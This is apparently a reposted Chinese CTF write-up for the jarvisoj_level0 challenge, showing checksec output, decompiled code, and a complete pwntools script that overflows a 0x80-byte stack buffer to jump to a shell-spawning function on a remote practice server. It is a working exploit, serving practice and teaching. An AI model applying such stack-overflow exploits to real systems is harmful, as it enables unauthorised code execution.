jarvisoj_level0


  1. checksec jarvisoj_level0

Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

  1. 拖進IDA64,找到main()反編譯
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

因此關鍵在vulnerable_function()

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}
  1. 利用read()實現棧溢出,因為buf的范圍在[rsp+0h] [rbp-80h],再加上rbp的8字節,所以需覆蓋"a"*(0x80+8)后到達返回地址。同時發現有個函數callsystem()可以獲得shell
  2. 所以payload后加上該函數的地址0x400596
  3. 完整代碼如下
from pwn import *

p = remote('node3.buuoj.cn', 29317)

payload = 'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()
  1. 運行后,ls cat flag即可


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM